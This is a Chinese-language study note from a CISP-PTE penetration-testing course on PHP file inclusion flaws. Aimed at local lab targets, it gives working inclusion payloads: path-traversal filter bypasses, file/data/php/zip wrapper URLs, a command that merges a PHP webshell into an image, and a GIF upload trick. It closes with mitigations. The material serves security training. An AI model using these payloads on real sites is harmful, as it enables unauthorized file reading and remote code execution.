渗透测试CISP-PTE-系列学习笔记
第一章 渗透测试CISP-PTE:Web安全简介
第二章 渗透测试CISP-PTE:信息收集
第三章 渗透测试CISP-PTE:漏洞扫描
第四章 渗透测试CISP-PTE:HTTP请求流程
第五章 渗透测试CISP-PTE:SQL注入
第六章 渗透测试CISP-PTE:暴力破解
第七章 渗透测试CISP-PTE:XSS
第八章 渗透测试CISP-PTE:CSRF
第九章 渗透测试CISP-PTE:文件上传
第十章 渗透测试CISP-PTE:文件包含
前言
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序安全漏洞。它会导致攻击者可以通过控制文件包含的输入来执行任意的代码。
文件包含漏洞通常出现在Web应用程序中,当应用程序在处理用户输入时,没有正确地检查和验证用户提供的文件路径或文件名。攻击者可以利用这个漏洞,将恶意文件包含到应用程序的执行流程中,从而执行恶意代码。
一、文件包含漏洞原理
开发人员把重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件。这种调用文件的过程被称为包含。
文件包含漏洞的产生原因是在通过引入文件时,由于传入 的文件名没有经过合理的校验,或者校验被绕过(文件名可用户指定),从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。大部分文件包含漏洞都出现在php的程序中。
文件包含漏洞分为:本地文件包含和远程文件包含
- 当被包含的文件在服务器本地时,就形成了本地文件包含漏洞
- 当被包含的文件在远程服务器时,就形成了远程文件包含漏洞
远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(该选项开启后,服务器允许包含一个远程的文件)
PHP文件包含漏洞主要由以下几个函数导致
A、 include()
B、 include_once()
C、 require()
D、 require_once()
二、文件包含漏洞类型
- 本地文件包含(Local File Inclusion,LFI)
攻击者可以通过控制文件路径,包含本地文件系统上的文件。这些文件可以包含敏感信息,如配置文件、密码文件等。 - 远程文件包含(Remote File Inclusion,RFI)
攻击者可以通过控制URL参数,包含远程服务器上的文件。这些文件可以包含恶意脚本,攻击者可以利用它们执行任意的代码。
三、文件包含漏洞利用
1.源代码
1.1.含有文件包含漏洞的源代码-无过滤
利用文件包含漏洞来执行已上传的图片木马中的php代码:访问含有文件包含漏洞的页面并指定GET参数file,并在post data部分传入php木马参数
http://127.0.0.1/include.php?file=./upload/5220220624145502.png
1.2.含有文件包含漏洞的源代码-https?//和…/过滤
如下图所示该代码存在https?//和…/过滤,被替换为“”
使用双重字符串拼接来绕过:
http://127.0.0.1/include.php?file=....//....//upload/5220220624145502.png
1.3.含有文件包含漏洞的源代码-正则匹配过滤
如下图所示该代码存在正则匹配过滤
- 文件名以file开头
使用file伪协议(file://)来访问本地文件系统,需指定绝对路径(绝对路径获取方法:通过访问无效路径内容查看报错内容来获取)
http://127.0.0.1:8082/vulnerabilities/fi/?page=file:///C:\phpstudy_pro\WWW\dvwa\hackable\uploads\test-gen.jpg
(file后面的第三个‘ / ’代表根目录)
- 文件名包含include.php
1.4.含有文件包含漏洞的源代码-输入点后面存在代码写死的内容-远程文件
利用python搭建一个http服务器,通过远程文件来利用文件包含漏洞
python -m SampleHTTPServer 8099 //8099为端口号
利用方法如下:
http://127.0.0.1:8083/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1:8099/test-rec.gif&submit=提交查询
2.利用方法
2.1.文件类型过滤-内容
1)使用构建图片木马来绕过上传
●fopen
该代码中利用fopen读取图片文件的前两个字节(图片文件的前两个字节每个类型都是固定的),因此使用文件后缀绕过方法无法成功绕过。
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
●getimagesize
$info = getimagesize($filename);//用于获取图像大小及相关信息,成功返回一个数组
Array( [0] => 290 [1] => 69 [2] => 3 [3] => width="290" height="69" [bits] => 8 [mime] => image/png )
$ext = image_type_to_extension($info[2]);//获取图片类型
●exif_imagetype
$image_type = exif_imagetype($filename);//返回与IMAGETYPE常量之一相对应的整数
2)访问含有文件包含漏洞的页面并指定GET参数file,并在post data部分传入php木马参数
http://127.0.0.1/include.php?file=./upload/5220220624145502.png
2.2.文件类型过滤-内容并二次渲染生成新的图片
因jpg图片会存在压缩,png图片在末尾存在校验,所以针对这种情况使用gif格式图片进行木马上传,步骤如下所示:
1)先选择一个gif图片进行上传,并使用burpsuite截断
2)针对截取到gif图片上传请求进行更新,如下图所示,在gif图片内容中间增加对应的木马代码,然后forward(一般上传成功后图片的颜色会和原始图片颜色不一致)
3)访问含有文件包含漏洞的页面并指定GET参数file,并在post data部分传入php木马参数
http://127.0.0.1/include.php?file=./upload/5220220624145502.gif
3.构造图片木马
在cmd执行命令:copy /b test.jpg+shell.php testshell.jpg
生成的testshell.jpg文件即包含图片文件内容也包含php文件内容,而php执行代码时仅执行<?php ***** ?>里面的php代码,所以图片木马仍可以正常执行
三、伪协议
1.file-来访问本地文件系统,需指定绝对路径
(绝对路径获取方法:通过访问无效路径内容查看报错内容来获取)
http://127.0.0.1:8082/vulnerabilities/fi/?page=file:///C:\phpstudy_pro\WWW\dvwa\hackable\uploads\test-gen.jpg
(file后面的第三个‘ / ’代表根目录)
2.data-将后面的内容当初一个文件访问
●data://text/plan,<?php phpinfo(); ?> //注意标点符号
●data://text/plan;base64,PD9waHAgcGhwaW5mbygpOyA/Pg== //注意标点符号,base64最后面的“==”可以去除
例如:http://127.0.0.1:8083/vul/fileinclude/fi_remote.php?filename=data://text/plan,<?php phpinfo(); ?>&submit=1
3.php
3.1 php://input
然后利用post参数传输<?php phpinfo(); ?>
3.2 php://filter/read=convert.base64-encode/resource=
获取页面的源代码(考试中一般把key放到源代码的注释中,利用该方法可以获取)
4.zip-从文件夹中读取其中的文件(相对路径或绝对路径)
http://127.0.0.1:8082/vulnerabilities/fi/?page=zip://c:/phpstudy_pro/WWW/dvwa/hackable/uploads/test-rec.zip%23test-rec.jpg
%23是‘#’的 url 编码
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
四、文件包含漏洞的安全问题和缓解措施
1.文件包含漏洞可能导致以下安全问题:
- 敏感信息泄露:攻击者可以通过包含敏感文件,获取应用程序的配置信息、数据库凭据等敏感信息。
- 远程代码执行:攻击者可以通过包含恶意文件,执行任意的代码,从而完全控制受影响的系统。
2.为了防止文件包含漏洞,开发人员应该采取以下措施:
- 输入验证和过滤:对用户输入进行验证和过滤,确保输入的文件路径或文件名是合法的。
- 文件路径限制:限制文件包含的范围,只允许包含特定目录下的文件,避免包含任意文件。
- 使用白名单:使用白名单来限制允许包含的文件列表,仅允许包含可信任的文件。
- 安全配置:将敏感文件放置在Web根目录以外的位置,确保其无法直接通过URL访问。
- 更新软件和框架:及时更新应用程序所使用的软件和框架,以修复已知的文件包含漏洞。
总结
以上就是今天要讲的内容,本文仅仅简单介绍了文件包含漏洞原理、漏洞类型、以及对应的典型漏洞利用案例等。后续将从命令执行等环节进行详细介绍。